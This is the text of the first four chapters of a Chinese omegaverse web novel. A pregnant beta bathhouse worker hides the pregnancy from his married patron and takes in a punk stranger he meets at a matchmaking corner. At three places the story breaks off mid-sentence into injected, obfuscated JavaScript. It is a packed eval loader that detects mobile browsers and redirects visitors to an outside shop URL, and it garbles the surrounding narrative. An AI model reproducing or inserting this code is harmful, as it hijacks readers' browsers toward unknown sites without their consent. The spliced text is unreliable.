《Beta三十被人妻》 1. 01 11月初,桃李市,天龙泉洗浴中心。 已是凌晨两点,安达从后门的员工通道出来,下意识拢了拢外套。他在这家洗浴中心做技师已经快十年了,因着他技术到位、服务周到,也算是积累了一批稳定的客源。 这座北方小城刚刚入冬,空气干燥寒冷,一口吸进去,五脏六腑都抽疼。他撑着墙面站了一会儿,胃部一阵翻涌,酸气从喉咙里不住冒出来。 天冷了,天龙泉洗浴中心的生意也好了起来,几乎天天要忙到半夜。偏偏在这时候,他的胃还罢了工,闻见食物的味道就想吐,什么也吃不下。此刻他饥饿、疲倦,却又毫无胃口。 他捂着胃,心说,这可不行啊,还用得上你呢,家里有老爹一个病号就够了。胃咕咕叫了两声,一阵绞痛,害得他差点吐了出来。 安达叹了口气,慢吞吞地往停电瓶车的地方走。 “哟,安达,这么晚了你还没走呢?”这略带挖苦声音是天龙泉的前台小杜,“我看林老板不是对你挺好吗,你还工作得这么卖力做什么?” 三年前老爹生病,安达走投无路时碰上了林老板,从此就跟了他。林老板比他大四岁,是有家室的人,据说他的妻子也出身名门,是一位美丽温柔的omega。但alpha天生是难以满足的物种,有了玉盘珍馐还不满足,喜欢到外面吃野菜。 反正安达这株“野菜”是beta,不会被标记,不会怀孕,干完不会留下任何痕迹,还同时体验了偷情的乐趣。对于林老板这种人来说,正好。 纸包不住火,安达被林老板包养的事,天龙泉的其他人虽说未必知情,但多少也有所怀疑。小杜是天龙泉的前台,平日里最喜欢嚼人舌根,他早就对安达和林老板的关系有所怀疑,每次见面都少不得阴阳挖苦安达两句。 “这两天怎么都不见林老板了?该不会……” 安达不想理他,只板着脸道:“林老板去欧洲了。”说完,便闷声朝自己的小电驴快步走去。没走两步,胃里又一阵翻腾,他捂住嘴,不住咳嗽干呕。 “哎哟,这是怎么了,”小杜上下打量着他,忽然瞪大了眼,“你该不会是怀孕了吧?你这副样子,就跟我表姐怀孕时一模一样!” “咳咳咳,咳!咳!”安达扶着车座,半晌才平复,他烦躁地扭过头骂道,“杜泽瑞,能不能别多管闲事?你要是闲得没事干,就滚回去上班。” 小杜冷哼一声:“哟,口气还挺大的。人家林老板要什么样的没有,能看上你都是你走了狗屎运,你还真以为自己能攀上枝头变凤凰啊?你是beta,想要靠怀孕攀上林老板,哪有那么容易?” 安达白了杜泽瑞一眼,“别把所有人都看得跟你一样小心眼行吗?我身体不舒服,现在要回家休息,好狗不挡道!” 杜泽瑞一听也来劲了,“嗬!说你两句你还急了?怎么,被我说中痛处了?我告诉你,别以为林老板喜欢你你就高人一等了,不就是个搓澡的,都一把年纪了,长得也就那样,架子倒是不小,到时候被林老板老婆知道了有你好受的!” 平时安达根本就懒得搭理这号人,但今天他的心情简直差到了极点,一肚子的火噌噌噌地往上窜。 安达深吸一口气,几大步走上前去,一把夺过了杜泽瑞手里的安全帽,狠狠地往地上一摔。 他不知道自己哪来那么大的力气。砰一声巨响,安全帽裂成了三瓣。 “杜泽瑞,你个傻叉说够了没有?!” 杜泽瑞显然被他吓了一跳,半晌才反应过来,脸涨得通红,“你、你说什么?” “我说——你!个!傻!叉!我要是像你这样,早就拿个胶带把嘴粘起来了!你要是再多哔哔两句,你信不信我就把你的脑袋也摔成三瓣!” 说完,他也懒得看杜泽瑞的表情,骑上小电驴,扬长而去,只听见杜泽瑞在背后怒骂:“安达,你个混蛋!” 回到家里,安达才后知后觉地反应过来今天的自己很不对劲。 吃不下、睡不好、焦躁、易怒、健忘、容易疲倦。 他明明是个脾气很好的人,还连续三年被评为天龙泉服务之星,结果就因为被小杜挖苦了几句,就把人家的安全帽给砸了,跟个暴力狂似的。 虽说他已经三十了,但还不至于提前进入更年期吧? 想到这里,他打开手机给小杜转了二十块,发了条“买个新的”。 小杜毫不客气地收下了,还给他回了一个大大的白眼。 安达勉强逼自己吃了碗面,收拾干净后便躺上了床。他翻来覆去,却怎么也睡不着。 杜泽瑞的话冷不丁地在脑海中冒出来——你不会是怀孕了吧? 安达一个激灵,猛地从床上坐起来。 怎么可能,他是beta啊……怀孕的概率也太低了。而且林老板一般都做措施的……只有上一次,套正好没有了,林老板说没关系反正你是beta,安达心想也是,就从了。 两年前,安达曾经怀孕过一次。当时林老板握着他的手说:“小安啊,我对不起你,但是这个孩子不能要。你想,不管怎么说,我都得给我的老婆最基础的尊重吧?” 安达恪守一个情妇的本分,去做了人流手术。自那以后,他们都小心了不少。 可是上一次,林老板不仅没戴,而且搞到最后,好像也没拔出来…… 想到这里,安达背上不由汗毛倒竖。 胃里的不适还在,一阵一阵地翻涌,像是在故意提醒他什么。 安达掀开衣服,望向自己的小腹。那里的皮肤白皙,薄薄一片,平平整整的,只底下略微有些软肉,与往常相比没有任何变化,却让他心里莫名发慌。 他在床边坐了许久,终究还是站起身,从床头柜深处翻出一盒验孕棒。那还是两年前买的,自那之后就没有用过。 竟然还没过期。 厕所的灯坏了一半,开关一按,只亮起头顶那盏昏黄的小灯。镜子里的人脸色发白,眼下有明显的青影。一到三十岁,就好像忽然按下了快进键,安达觉得自己老了不少。 液体顺着试纸攀升,过了几分钟,安达逼自己低头去看。 两条杠。 清清楚楚。 “……操。”安达瞪着试纸骂道。 睁着眼睛躺了一夜,天一亮他就去医院挂了产科。 医生看着验血单和B超单,神情凝重。 安达焦急问道:“怎么样医生,我真的怀孕了吗?” 医生点点头,“从检查结果来看是确定了。你近期有没有什么不舒服?” “就是想吐,然后容易累……”他顿了顿,“医生,这个孩子我不能要。” 不该到来的孩子,当然越早流掉越好。 “你要做人流?”医生严肃的目光透过厚厚的镜片,在B超单上扫动,“你以前是不是做过人流?” 安达如实回答:“做过一次……” “你知不知道,你的生殖腔内膜已经偏薄了,如果再流产的话,以后很难受孕!你的伴侣没来?” 医生的话犹如天打雷劈,安达嗫嚅道:“没有……他……还不知道我怀孕的事……” 医生露出同情的神色,“你好好考虑一下吧。你是beta,本身就不易受孕,更何况你已经三十岁了,早就错过了最佳生育年龄,再拖个几年都要成高龄产妇了。如果你还想要孩子的话,我强烈建议你不要流产。” 安达昏昏沉沉、头重脚轻地走出医院,白花花的阳光洒满一地,但他却感受不到一点温度。 他抚摸着尚且平坦的小腹,那里面竟然已经有一个小生命了,真是奇妙。 怎么办?林老板是不会让他留下这个孩子的,顶多给他甩个几万十几万补偿费。可是,这可能是他这辈子最后一个孩子了。 留下孩子的念头一出现,就再也压不下去了。 他早就知道,跟着林老板是没有未来的。 其实,他像无数普通人一样,渴望家庭的温暖,当初跟了林老板,是因为老爹生病需要钱,实在是不得已而为之。但这是一条不归路,一旦踏上就没有尽头。他成了被社会唾弃、被别人瞧不起的“小三”“情妇”,当然不可能再奢望正常的家庭生活。 像他这样道德败坏的人,倒霉也是应该的,没什么可怨天尤人的。 是他先为了那几个臭钱放弃了尊严,败坏了社会风气,对不起国家对不起党对不起人民,最对不起林老板的老婆。 但他转念一想,那哪是几个臭钱呢?那是老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547870|204228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爹的命啊。重来一次,他还是会那么做。 怀孕这么大的事,不知道有谁可以说,思来想去,他最终打给了发小陈斗明。陈斗明是个劣等omega,和他一起进城打工,在厂里做流水线。陈斗明以前不知怎么就和一个富婆好上了,结果富婆嫌弃他的劣等信息素,玩了几次后就把他给抛弃了,害他只能回去做流水线,因此陈斗明特别仇富。 “豆子,你现在有空吗?我……我有很重要的事想跟你商量……” 陈斗明也是够讲义气,没有任何犹豫就从厂里请假出来。两人坐在路边小店,各点了一碗手擀面,陈斗明还点了二两小酒。 “你又怀孕了?!”陈斗明听他说完,惊得筷子都掉了,“是林老板的?” 安达连忙捂住他的嘴,左顾右盼一圈,“你叫那么大声干嘛!” “你不是beta吗?竟然这么容易怀孕?”陈斗明若有所思地打量着他,“林老板凿挺狠啊。” “你说什么呢!”安达大惊失色,“我是来找你商量的,你别这么不着调行不?!” “这是好事啊,”陈斗明道,“你怀了林老板的孩子,不管是要留还是要流,林老板肯定都不会短了你的。” 安达叹了口气,将医生说的话复述了一遍。陈斗明闻言,神色也凝重了起来。 安达道:“我已经决定要留下这个孩子了,但是林老板不会让的,他们高门大户的,接受不了这种丑事。所以,我只能和林老板断了,绝对不能让他知道这是他的孩子。” 陈斗明瞪大双眼,“你要和林老板断了?!安达,你他妈疯了?!和林老板断了,你一个人要怎么养孩子?你的工资连保姆都请不起!你是打工的,又不是当老板的,你看我们打工的哪个是带着孩子上班的!” 安达眼眶红了,“可是……豆子,这是我最后一个孩子了……我、我没有办法,我不能放弃它……要是实在找不到能一边带孩子的工作,我就回秀才村去……” “回村?”陈斗明眉毛倒竖,“你单身带个孩子回村,那些人的口水能把你给淹了!你忘了他们是怎么说你老爹的了?说他被包养的、被抛弃的、性侵omega学生的,怎么说的都有!你难道想像你老爹一样,被全村人瞧不起,活生生气出心脏病吗?” “你老爹好不容易把你拉扯大,你有没有想过,他会怎么想?” 安达默然不语。 陈斗明苦口婆心道:“安达,摆你面前就两条路。第一,把孩子流了,还是好好跟着林老板;第二……” 安达的眼泪忍不住又往下掉。三十岁的人了还哭,实在是很没出息。 “第二,你现在赶紧去找个对象把婚结了,就当跟林老板的事没发生过。” 安达猛地抬头,“这怎么成?怀孕了瞒着别人,这太不道德了!这不就是找人接盘吗?” “不道德?那我问你,”陈斗明道,“你给林老板当了三年情妇,难道就道德了?安达,不道德的事你没少干,别在这种节骨眼上犯蠢,这可是关乎你人生的大事。” 安达又想哭了。也对,从他给林老板当情妇的那一刻起,他的人生就无可救药地败坏了。 陈斗明冷哼一声:“哼,所谓的品行道德,那都是有钱人用来标榜自己的!像我们这种自己的生活都顾不上的穷逼,谁会在乎什么狗屁道德?不都是你坑我、我坑你的,你敢说你出门没被坑过?” 安达吸了吸鼻子,老实回答:“呃,上回我去桥东那家修车铺补胎,结果老板偷偷摸摸把我内胎也扎破了,坑了我二百五。” 陈斗明义愤填膺:“那不就是了?我们这些人都只顾得上自己!谁会在乎我们啊?只有自己能为自己争口气!” 安达长叹一声:“这样会遭报应吧?” 陈斗明闷了口酒,满脸通红,鼻子重重出了口气:“哼,我才不管这些,遭报应就遭报应!这世道就是个二百五,怎么也怨不到我的头上!” 安达自己不在乎别人的看法,但他不得不在乎老爹。等到老爹出院以后,终究是要回秀才村过的。面对那些七大姑八大姨九大舅十大伯,安达就算是不为自己争气,也得为老爹争气,不能让老爹因为他落得别人口舌。 所以,他必须得找个人结婚。 2. 02 安达并不觉得这么做是对的,可是,他想不出第二种方法了,那就没什么可犹豫的。 他不是那种瞻前顾后的人,一向行动力很强,决定了一件事,就立刻一股脑地去做。他当即去打印了一张巨大的牌子,带到了公园相亲角。 牌上用加粗花体字写着:安达,男,beta,30岁,月薪6k,无车,城郊有套60平米的房,诚征25-45岁beta,对另一半无经济要求,只求能真心过日子的。 林老板给他的钱都被他单独存在一张卡里,还剩个二十多万,那是专门用来给老爹看病的钱,不能动。桃李市物价不高,以他目前的工资和存款,养活一家子虽然算不上宽裕,但也够用。 他对另一半没有什么经济上的要求,只希望对方是真心想要好好过。 放眼望去,相亲角里没什么年轻人,全是些老头老太在当介绍人。他抱着牌子站了一会儿,仍旧无人问津。没等来心仪的对象,倒等来了秀才村邻居家王大婶。 王大婶烫一头黑色小波浪,嘴唇抹得通红,嗑着瓜子,满面春风。自从她的omega女儿嫁进了城里,她就摇身一变成了时髦的城里老太,如今热衷于给人作媒。 “安达?你怎么在这儿?” 安达苦笑道:“王大婶,我来相亲的。” “前几年想给你介绍对象,你理都不带理的,现在三十了知道着急了?”王大婶一脸轻蔑地指着他手上的牌子,啧啧道,“你这条件,不好找不好找,更何况你还有个生病的爹,别人一听都跑了!” 安达道:“王大婶,我现在是真心想要结婚。我们好歹是老乡,您替我多留心留心呗!” “嗐,也就看在你是老乡的份上!”王大婶一边嗑着瓜子,一边啧啧啧地走了。不多时,领回来一个又矮又胖的中年男人,个子还没安达高,却有两个安达那么宽,满篇麻赖。 矮胖男人一张嘴,差点把安达熏晕了,胃里酸水直冒。 两人各自介绍自己,相互了解过后,安达赶忙把王大婶拉到一边。“安大婶,这不合适吧?” “这有什么不合适的?你不是对经济条件没要求吗?你看这小伙子多实在啊!这可是婶大姨夫的表弟媳的堂姐的侄子,从小看到大的,人品都能拍着胸脯担保!要是不好的,婶能介绍给你吗?” “可是他欠债三十万……” “能欠债三十万,就说明他有赚回来的能力!这一般人能欠下三十万吗?” “可他抽烟喝酒还赌博……” “哎呀,人总有点不良嗜好嘛,上哪找十全十美的人去?” “可他还离婚带俩娃……” “这更好了,直接一步到位了!你想啊,你找个头婚的,孩子也不一定是你的,这下好了,买一送一,孩子直接就不是你的,不用你出力就养这么大了,等过了两年还能孝敬你咧!” 这话正戳在安达痛处,安达讪讪道:“总、总之就是不合适!” 王大婶恨铁不成钢地指着他的鼻子,“你看你,又不是什么年轻漂亮的小O,一把年纪了还挑三拣四的,活该嫁不出去!” 说完,她便领着那个麻子走了,像两只昂首挺胸的公鸡,留下安达一人抱着牌子傻站在原地。 安达不由有些惆怅。是他要求太高了么?可是面对那个口臭的麻子,他实在是亲不下去嘴啊。 相亲角里熙熙攘攘,他站在角落,无人问津。 “喂,大叔,你看我怎么样?”一声吊儿郎当的笑从背后传来。那声音的音色极为特别,略微沙哑,带着些许金属质感,却又如同晨雾般纯净清新,令人过耳不忘。 安达转过脑袋,看向银杏树下,第一反应是:啊,好大一根狼牙棒。 他眨眨眼,才看清那是个年轻男人,身高腿长,跟模特似的,就是穿了一身满是铆钉的奇装异服,安达实在是欣赏不来。 上身一件紧身黑色背心和一件做旧皮夹克,下身一条破破烂烂的牛仔裤,大冷天整个膝盖露在外面冻得通红,也不怕得风湿。脚蹬黑色马丁靴,鞋头有些磨损,鞋带却系得挺整齐。 他的头发染成粉色,搓出一圈尖尖角,跟个刺猬似的。左耳三个洞,右耳四个洞,戴满黑色的耳钉,眉毛上还有个洞,上面竟然穿了一个镶钻的回形针。脖上缠着一串细细的金属链,走动时轻轻碰撞,发出清脆的响声。 这种小年轻的风格叫什么来着?摇滚?朋克? 安达对所谓的朋克没什么好印象。他以前在网上看过一个美国朋克乐队的演出视频,给他留下了深刻的、难以磨灭的印象。那所谓的音乐又吵又难听,主唱在台上仰天四十五度,一边甩头一边鬼叫,唱到最high处还会脱下紧身皮裤当众拉屎,把屎往观众席扔,忒恶心了,看完三天吃不下饭。 总之,在他眼中,这群人就是只会博人眼球、脏兮兮臭烘烘的跟风狗。 他摇摇头,感叹世风日下,年轻人净受一些不良文化的荼毒。 小年轻走到他的跟前,见他在走神,不满地蹙眉,“喂,大叔,跟你说话呢。” 安达回过神来,看了看小年轻脖子上的时髦铆钉项圈,又低头看了看自己身上穿了好几年的黑色羽绒服,迟疑道:“……你叫我?” 这小年轻比他高了小半个头,脸上的妆很厚,粉底惨白,眼圈和嘴唇漆黑。他戴着蓝色美瞳的眼睛往安达的牌子上扫了一圈,那黑色的嘴唇勾了勾,好像在笑。 “男,beta,三十岁。月薪五千,无车,城郊有套60平米的房……”小年轻慢悠悠地念着,“对另一半无经济要求,只求能真心过日子的?” 他的目光停留在安达脸上,笑意更深,嘴角露出两个酒窝,“挺实在啊,大叔。” 安达被他看得不自在,下意识将牌子往怀里收了收,“你……有什么事吗?” 小年轻略带一丝玩味地勾起嘴角,“我就是来相亲的啊。哥,我看你觉得不错。” 安达腹诽:刚刚还叫大叔呢,现在改口叫哥也没用!他这下看出来了,敢情这小兔崽子是在拿他取笑呢!本来在这空站了半天就烦,结果路过的叛逆臭小孩也要在他脑门上拉屎,他的火气噌一下就上来了。 “去去去,小年轻该上哪上哪去,大叔干正事呢,你别在这碍事!” 他转身欲走,却被一把攥住了手腕,劲还挺大,攥得他手腕生疼。 “喂,别急着走啊,我真是来相亲的,”小年轻指着牌子道,“我哪点不满足?” 安达:“……” 他把人从头到脚又看了一遍,然后指着牌子一字一句没好气念道,“诚征25-45岁beta,你今年几岁?” 小年轻眨了眨眼,笑得理直气壮,“也就差个两三岁而已。你今年三十岁,往上能征到45岁,凭什么往下就只征到25岁,难道你恋老不成?再说,这个范围不就是个参考,干嘛那么死板。” 安达被他一番话噎得哑口无言,半晌才道:“我要找的是真心过日子的,不是玩票。” 小年轻反问:“我看起来不像是真心过日子的?” 安达看了看他那一身打扮,又看了眼他眉毛上的别针,实在没忍住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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安达又问:“家里情况?” 纪屿欢满不在乎地回答道:“没人管我。” 安达心里一沉,他直觉眼前这个奇装异服的小年轻骨子里不坏。一般这种小孩都只是表面上叛逆,内心缺爱得很。 “我问完了,换你问我吧。” 纪屿欢只是笑笑,“没什么好问的。” 安达问:“那你是怎么瞧上我的?我年纪不小了,也没什么钱。” 纪屿欢耸耸肩,“我对你没什么要求,让我有东西吃,有地方睡,不把我赶走就行。而且……”他画着烟熏妆的眼睛弯了弯,“年纪大又老实的男人,会疼人。我从小爹不疼娘不爱的,所以我就盼着有人能宠着我,给我一个家。” 公园里人来人往,金黄的银杏叶哗啦作响,正午的阳光在他身上投下一片片晃动的光斑。 安达这才仔细打量起这个年轻男人。尽管他穿着奇装异服、画着浓妆,却能看得出来底子是很漂亮的,鼻子细高,嘴唇的形状也好看,衣服破洞里露出的肤色冷白晃眼。 最重要的是,纪屿欢看他的眼神,不像是在开玩笑。 尽管纪屿欢笑着,但那眼神里有一些安达很熟悉的东西,疲倦、迷茫、焦虑,这个年轻男人,就和安达一样,正在急切地寻找着一个支点。 纪屿欢开口,不复之前的吊儿郎当,轻声道:“考虑考虑我吧,哥,给我一个家,我是真心的。” 一阵风吹来,漫天的银杏叶片随风飘舞,像一场永不坠落的金雨。 这个人完全不符合安达对伴侣的想象,真要过起日子,或许他连那个麻子脸都不如。可是麻子脸的臭嘴他是真的没法亲下去,而这个小年轻的黑色嘴唇,看多了竟然还有几分性感。 安达鬼使神差地点了头。 3. 03 “那成,咱俩可以先试试,要是合适的话就……结婚。” 一切都比安达想象得要顺利。原本以为婚姻是人生大事,结果竟然在公园的相亲角,花大半天的时间就搞定了。至于对象嘛…… 他微微偏头,看见纪屿欢耳朵上那一排黑色的钉子正反射着冷冽的金属光泽。不知为何,他忽然觉得这副打扮顺眼了不少。 他指了指纪屿欢的衣服,“你这种打扮,叫什么?” “这是朋克风格,”纪屿欢说,“我是朋克乐队的主唱。” 安达打量着他:“我们这小破地儿,还有人搞朋克乐队啊。” “哥你还知道朋克?” 安达神色复杂道:“听说过。”他又回想起了以前看过的那个视频,眼前的这个小年轻应该不至于会干这种埋汰事吧? 纪屿欢笑了笑,问:“你怎么看待朋克?” 安达憋了又憋,最后非常委婉地说:“我觉得,只要不影响别人,喜欢什么都可以。” 纪屿欢看着他便秘般的表情,愣了一瞬,哈哈大笑起来,“哥,你真是个有意思的人。” 刚刚纪屿欢站着的那棵树下,有一个黑色的大行李箱,也是朋克风格的,上面用白色油漆喷了十字架和土星的图案。 纪屿欢拉上它,道:“哥,还愣着干什么,走吧。” 安达一愣:“去哪?” 纪屿欢的声音放软了些,“哥,不瞒你说,我现在没钱,也没地方住。既然我们要结婚,不妨就住在一起,也方便熟悉彼此。” 安达张了张嘴,“我们才刚认识,你就要去我家啊?你就不怕我是骗子?万一我是人贩子怎么办?” 纪屿欢的唇角轻佻地勾了勾,“人贩子不会拐我的,哥你放心好了。” “为什么?” 纪屿欢淡淡答道:“人贩子只会拐omega,拐beta有什么用?” 安达:“……道理是这个道理。但你就不怕我还有其他地方骗你?比如……我欠债三十万、抽烟喝酒赌博、离婚带俩娃……” 纪屿欢盯着他,安达怕真把他给吓跑了,连忙摆手说:“刚刚那些是开玩笑的,但我……确实有个生病的老爹需要照顾……” “伯父生的什么病?”纪屿欢问。 听到纪屿欢管老爹叫“伯父”,安达暗自有些开心,但想到老爹的事,又不由低落。 “是心脏病……不过你放心,他已经做完手术了,手术很成功,很快就能出院,之后不会花太多钱的……” 纪屿欢忽然停了脚步,转过脸望向他,安达下意识屏住了呼吸。 纪屿欢道:“这些我都不在乎。” 隔着蓝色的美瞳片,安达看不见纪屿欢的眼神。 他的声音轻飘飘地传来:“我刚刚也说了,我结婚只是想找个人疼我。哥,你会对我好的吧?” 安达连忙点头,“当然了!结婚以后,你可以不出去挣钱,也可以不做家务,只要能好好过日子就行,我一定会一辈子对你好的!” “一辈子啊……”纪屿欢垂眸喃喃道。这样沉重的词,被这个男人轻而易举地说出来,自然也没什么分量可言。他仰起脸,展颜笑了,“哥,你可千万别反悔。” 就这样,纪屿欢拖着行李箱,跟安达搭着公交车回了城郊的那套老破小。 “就是这里了,”安达打开门,有些不好意思地冲他笑笑,“条件不大好,你别嫌弃。” “哥,你看你说的什么话,”纪屿欢弯起眼,“你愿意收留我,我应该感谢你。” “不用跟我这么见外,”安达殷勤地替他将行李箱搬进去,“把这里当自己家就行,有什么需要的就跟我说。” 纪屿欢踏进门,目光在狭小的空间里转了一圈。六十平米的老房子,收拾得异常整洁,甚至可以说一尘不染,和他想象中单身beta男性的邋遢住处截然不同。 没想到这个老男人还挺爱干净的,纪屿欢想。 安达给他倒了温水,又转身从冰箱里拿出几个橙子:“饿了吧?我先弄点吃的。冰箱里还有菜,面条吃吗?我给你下碗面,很快。” “嗯,”纪屿欢接过玻璃杯,温热的杯壁熨着掌心,“谢谢哥。” 纪屿欢在沙发上坐下,看着安达忙碌的背影。这个老beta穿着半旧的灰色毛衣,腰上系着条格子围裙,在狭窄的厨房里转来转去,洗菜、切葱花、打鸡蛋,动作流畅利落、有条不紊。锅里的水咕嘟咕嘟冒着泡,热气升腾起来,模糊了安达清秀的侧脸。 “哥,你是做什么工作的?”纪屿欢忽然开口问道。 安达切葱的手顿了顿,声音低了些:“嗯,不怕你笑话,我在天龙泉打工,就是一家洗浴中心……”他有些窘迫地补充道,“是正经的那种洗浴中心……” ……洗浴中心本身是正经的,但是里头的人不正经,这点他没说。 “搓澡?”纪屿欢像发现什么有趣的事情一样,倾身向前,“你真是给人搓澡的?” 安达更加窘迫,“你别拿哥取笑了。” “我没取笑你,”纪屿欢往沙发背上一靠,笑了笑,“我只是觉得,哥一定是个很能干的人,干起活来也麻利。” 安达老脸一红,“能干谈不上。动作慢可是要挨老板骂的……” 安达将锅里的面捞了出来,碗底放了酱油、醋、猪油,又浇了一勺热滚滚的面汤,撒上葱花,淋几滴香油,最后将煎好的荷包蛋铺在上面。 “趁热吃。”安达将面端出来,自己解了围裙,在旁边坐下。 面很简单,却热气腾腾、香气扑鼻。纪屿欢挑起一筷子送进嘴里,味道清淡而温暖,鸡蛋嫩滑,面条劲道。他已经快20小时没吃东西了,之前他一直强忍着饥饿,现在终于忍不住,几乎是狼吞虎咽地将面条吞入腹中,胃部被暖融融地填满。 “哎,你慢点,别烫着了,”安达紧张道,“怎么样,好吃吗?” “好吃……” 纪屿欢被热气熏得微微发红的脸上,那厚重的黑色唇彩被蹭掉了一点,露出底下略显苍白的唇色。还有那排晃眼的耳饰,在这种居家暖光下,显得格外突兀,又奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“嗯。”纪屿欢应了一声,看着安达转身走进卧室。他站起身,走到那个行李箱旁边,将它打开。里面除了几件同样风格的衣服和一点化妆品,还有一把电吉他,上面装饰满朋克风贴纸和碎钻。 显然,电吉他不适合这里,所以他只是看了看,便又把箱子给原样合上了。 安达拿着一套浅蓝色的棉质睡衣走了出来,料子看起来柔软舒适,款式是规规矩矩的扣子款。“这个行吗?是干净的,就是有点旧了。” 纪屿欢接过,略微磨毛的棉料触感柔软。“谢谢哥。” 浴室也很小,但同样洁净。纪屿欢站在淋浴头下,热水冲刷掉脸上的粉底和眼线,露出原本干净却没什么血色的脸庞。他看着镜子里那张褪去伪装后显得有些陌生的脸,抬手碰了碰耳朵上的装饰,最终还是没有将它们摘下来。 等他擦着湿漉漉的头发走出浴室,安达已经收拾好了厨房和卧室。 “床我稍微收拾了一下,”安达指了指卧室,“你先去睡吧,我洗个澡就来。” 卧室比客厅更小,一张双人床几乎占满了空间。床单和被套是浅灰色的条纹,同样干净,散发着洗衣液的淡香。枕头并排摆着两个,花色各不相同。 纪屿欢躺了上去,床垫对他来说有点硬。他盯着天花板上一小块细微的裂纹,听着外面传来安达窸窸窣窣、乒乒乓乓的动静,忽然觉得疲惫极了。 和这个无趣的beta一起浪费人生,我真是蠢得无可救药。他想。 4. 04 安达走进卫生间,将门反锁。在这个狭小封闭的空间里,他才能不压抑恶心想吐的感觉。 “呕……”他撑着水池干呕,面色惨白,双臂发颤。这一次的孕反分外汹涌,仿佛是要将一整天的份都吐出来。 他将水龙头开到最大,冲掉吐出的酸水,也掩盖了呕吐的声音。 等到难受的感觉逐渐平息,他在一旁的小板凳上坐下,拿出了手机,在通讯录上翻到“L”那一栏,点进林老板的头像。 聊天记录停留在两周前,林老板告诉他自己要去欧洲谈一桩生意,最近不需要和安达见面。再往上,大多是这样简短的、关于时间和地点的确认,偶尔夹杂着几笔转账记录。林老板从不吝啬金钱,但也仅止于此。 安达很清楚自己的定位,始终心怀感激,并且不给林老板惹麻烦。如今这种情况……断了对双方都好。 他对于林老板来说,无足轻重,不过是个年纪大了的beta而已。只要林老板想,就有大把比他年轻比他漂亮比他温柔的情人任他挑选。 林老板应该不会在意吧。 安达戳着屏幕,一个字一个字地输入。 “林老板,晚上好,很抱歉打扰您。” “有件事想跟您说……我爹的手术很成功,下周就能出院,非常感谢您之前的关照,这份恩情,安达会一直记在心上。” “我……我打算好好过日子了,不能再做那种见不得人的行当。所以,以后咱们就断了吧……您也可以多陪陪您的老婆。” “真的非常感谢您,祝您一切都好。” 他盯着那句“以后咱们就断了吧”,觉得有点生硬,但又想不出别的说法。就这样吧,反正意思到了。 他拇指在发送键上悬了一会儿,眼睛一闭,按了下去。 信息变成个绿色气泡,嗖一下出去了。 安达将手机放在洗手台上,走进浴室。温热的水流倾泻而下,腾起氤氲的白雾,很快模糊了透明的玻璃门。 他机械地搓洗着,皮肤被热水烫得微微发红,思绪却不知道往哪儿飘,一会儿想到林老板,一会儿想到纪屿欢,一会儿想到老爹,一会儿又想到肚里的孩子。 不知洗了多久,他晕晕乎乎地走出浴室,胡乱地用毛巾擦了擦头发和身体,穿上睡衣。睡衣和纪屿欢是同款的,只是他这套是深蓝色,纪屿欢那套是浅蓝色。 原本放在洗手台上的手机屏幕竟然亮着,安达拿了起来,却在屏幕上看见了十几个未接来电,全部来自于林老板。时间就在几分钟前,几乎是在他刚进浴室不久。 安达的心重重一沉,他又打开微信,好几条消息一股脑地蹦了出来。 林老板:小安,你突然发那些消息是什么意思? 林老板:发生什么事了? 林老板:安达,你翅膀硬了,我给你打电话你都敢不接。 林老板:安达,别耍小性子,给我回电话。 安达闭了闭眼,回复道:“抱歉,林老板,刚刚在洗澡,没听见电话。” “我是认真的。我们……不要再联系了。” 他握紧手机,等了半晌,但是对面再也没有任何消息发来。 镜子里的他眼睛有点红,他叹了口气,又下意识摸了摸小腹。 宝宝啊,我对不起你,可是谁叫你这样一声不吭就来了呢? 就这样吧,挺好的。我保证会给你一个新家的,虽然不会有林老板那么有钱,但也一定会是一个很好的家。 他走出卫生间,卧室里,纪屿欢正靠在床边,偏头对他笑了笑,“哥。” 卸了妆的他和白天的样子很不一样,一双标致的杏眼含着笑意,皮肤白皙,眉毛细长,鼻梁高挺,简直漂亮得有些过分。粉色的头发也不再是刺猬般的造型,软软地垂在额前,衬得眉眼更加精致,仿佛是从动漫里走出来的人物。 安达忽然能够理解纪屿欢为什么要化那么浓的妆了,因为素颜的他是在很难和“朋克”之类的词语扯上关系。 安达呆呆地张了张嘴,“你……你真的是beta吗?” 纪屿欢愣了一瞬,随即神情恢复自然,“当然了。” 安达走过去,小心地在床的另一边躺下,中间留出一大块空隙。 “哥,你不用那么拘谨,”他听见纪屿欢略微沙哑的笑,“你转过来,看着我。” 不知为何,安达有些紧张,但还是依言转身,“怎么了?” 他们身处同一床棉被下,中间只隔了约摸半米。棉被是热的,那是纪屿欢的体温。 纪屿欢忽然笑了,眼睛微弯,“哥,你觉得我漂亮吗?” 安达有些不好意思,但还是诚实道:“漂亮,很漂亮。” “那么,哥,”纪屿欢忽然朝他靠近了些,眼里露出些许玩味,“你想不想……上、我?” 纪屿欢那张漂亮得过分的脸离得太近,近到他能看清对方长而密的睫毛,看清那双杏眼里映出的、自己有些傻气的倒影。年轻人灼热的呼吸吐在他的脸上,安达呼吸骤停,心脏狂跳,脑海中一片空白。 “上、上……?”安达的舌头打了结,脸腾地一下红到了耳根。他脑子乱成一锅粥,无数碎片飞速闪过——纪屿欢耳垂和耳骨上的黑色耳钉,皮夹克上的铆钉,还有此刻近在咫尺的、柔软饱满的嘴唇……这些意象和“上/床”这件事粗暴地搅合在一起,冲击着他的认知。 坦白说,虽然纪屿欢很漂亮,但是他从来没有想过这种事,就算要想,也应该要……反过来才对吧。 